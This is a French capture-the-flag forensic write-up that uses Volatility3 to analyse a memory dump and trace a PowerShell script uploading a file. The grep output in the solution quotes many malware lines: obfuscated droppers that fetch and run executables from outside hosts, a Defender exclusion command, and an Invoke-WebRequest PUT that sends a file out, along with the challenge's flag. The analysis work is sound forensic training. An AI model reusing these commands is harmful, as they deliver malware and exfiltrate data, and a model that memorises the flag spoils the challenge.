Mémoire 4/4
Catégorie: Forensic Difficulté: - Flag: CTFREI{160.16.213.98_http://ppng.io/sasha_POPOPOKEMON}
Challenge
Le fichier est trop large, il est disponible sur MEGA
Description
Cette fois-ci, il semblerait qu'un script PowerShell étrange tourne sur ma machine. Aide moi à analyser son comportement.
Le flag est composé de :
L'IP contactée par le processus
L'URL utilisée par le script
Le contenu envoyé
Format : CTFREI{8.8.8.8_https://ctfrei.fr/flag_MEGASCRIPT}
Note : Le fichier est le même pour les 4 étapes
sha1: c91d17b27d8bf5df0830bd6104801b065cca6ee9
Solution
On commence par lister ce qu'il s'est passé sur le réseau grâce au plugin windows.netscan et en filtrant avec le terme powershell :
$ volatility3 -f memory.vmem windows.netscan | grep -i "powershell"
0x960351b38010.0TCPv4 192.168.19.156 49901 160.16.213.98 80 ESTABLISHED 2788 powershell.exe 2024-09-12 10:52:05.000000On découvre un seul résultat, et l'IP qui nous intéresse est 160.16.213.98. On remarque également que c'est sur le port 80, donc une requête HTTP (c'est important pour la suite).
Maintenant, il faut chercher ce qui a été envoyé, pour ça on commence par faire un strings sur le fichier .vmem au complet et que l'on va sauvegarder à côté pour travailler dessus plus facilement.
strings memory.vmem > strings.txtIl est important de mettre en relation de ce que l'on sait :
La requête est faite via PowerShell
Il s'agit d'une requête HTTP
Pour faire une requête HTTP en Powershell, on utilise Invoke-WebRequest. Malheureusement, ce n'est pas suffisant pour discriminer tous les résultats de la commande strings précédente. On va alors aussi limiter celles faites sur de l'HTTP et non HTTPS :
$ cat memory_strings.txt | grep -i "Invoke-WebRequest .*http://"
shell ("powershell.exe -command 'invoke-webrequest http://
Invoke-WebRequest -Uri ""http://3.65.2.139/read/Booking-02.exe"" -OutFile TrojanDownloader:O97M/Powdow.KG!MTB
Invoke-WebRequest -Uri ""http://3.65.2.139/read/Ltrwmpfgvbk.exe"" -OutFile
8psowerss = "powers"she = "shel"CreateObject("Outlook.Application")sease = "Hidde"CreateObject("wscript." & she & "l").exec(psowerss & "hell -w " & sease & "n Invoke-WebRequest -Uri " &Chr(34) & "http://scaladevelopments.scaladevco.com/
powershell -Command "Invoke-WebRequest -Uri 'http://146.190.48.229/fuackme100.exe' -OutFile 'C:\Windows\Temp\file1.exe'"Trojan:Win64/CobaltStrike.SPQ!MTB
Invoke-WebRequest -Uri ""http://62.233.57.190/z1/PTT_20230707-WA01120xlsx.exe"" -OutFile $TempFile; Start-Process $TempFile;TrojanDownloader:O97M/Powdow.STY!MTB
WinHttpReq.Open "GET", myURL, False, "username", "password"http://192.168.100.5/testdata.txtSaveToFile "C:\Users\Enigma\source\repos\02rev\mytest.txt", 2 ' 1PowerShell -Command ""{Invoke-WebRequest -Uri http://192.168.100.5/testdata.txt -OutFileEnviron("USERPROFILE") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetLogger.exe
NCreateObject("wscript." & she & "l")exec("powe" & "rshell -w Hidden Invoke-WebRequest -Uri Chr(34) & "http://178.17.171.144/sch/
powershell -executionpolicy unrestricted -command "invoke-webrequest 'http://124.106.197.167add-mppreference -exclusionpath 'c:\perflogs'bypass -confirm:$false -force
"C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main= Environ("TEMP") & "\powershdll.dll"{ Invoke-WebRequest -useb http://
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt"`
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing`
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing`
Shell ("powershell.exeInvoke-WebRequest http://mailicious.com/filemanager.exe -OutFile C:\\filemanager.exe
.CreateObject("wscript." & she & "l").exec(psowerss & "hell -w Hidden Invoke-WebRequest -Urihttp://landing.yetiapp.ec/IDx6/FLP_5012_306_171.ex& "C:\Users\Public\Documents\checkgirl.ex"
.CreateObject("wscript." & she & "l").exec(psowerss & "hell -w " & sease & "n Invoke-WebRequest -Urihttp://scaladevelopments.scaladevco.com/13Z/IMG_001263082.exC:\Users\Public\Documents\technologypurpose.ex"
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsingOn a filtré quasiment tout avec les informations à notre disposition, il ne reste plus qu'à déterminer laquelle de ces commandes est la bonne.
Parmi les URLs, on voit http://ppng.io/sasha, un petit nslookup dessus nous permet de savoir qu'elle est l'IP du serveur
$ nslookup ppng.io
Réponse ne faisant pas autorité :
Nom : ppng.io
Address: 160.16.213.98Bingo, c'est la même que celle qu'on a trouvée au tout début. La commande envoi le fichier sasha.txt, on va refaire un grep dessus pour découvrir son emplacement.
$ volatility3 -f memory.vmem windows.filescan | grep-i "sasha.txt"
0x960353465920.0\Users\Aramis\Desktop\sasha.txt 216
0x960356e0b2c0 \Users\Aramis\Desktop\sasha.txt 216On le récupère le fichier avec le plugin windows.dumpfiles puis on affiche son contenu :
$ volatility3 -f memory.vmem windows.dumpfiles --virtaddr 0x960353465920
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0x960353465920 sasha.txt file.0x960353465920.0x960358485d10.DataSectionObject.sasha.txt.dat
SharedCacheMap 0x960353465920 sasha.txt file.0x960353465920.0x960355327750.SharedCacheMap.sasha.txt.vacb
$ cat file.0x960353465920.0x960358485d10.DataSectionObject.sasha.txt.dat
POPOPOKEMONOn a tout ce qui nous faut : l'IP, le nom de domaine et le contenu du fichier envoyé.
Mis à jour
Ce contenu vous a-t-il été utile ?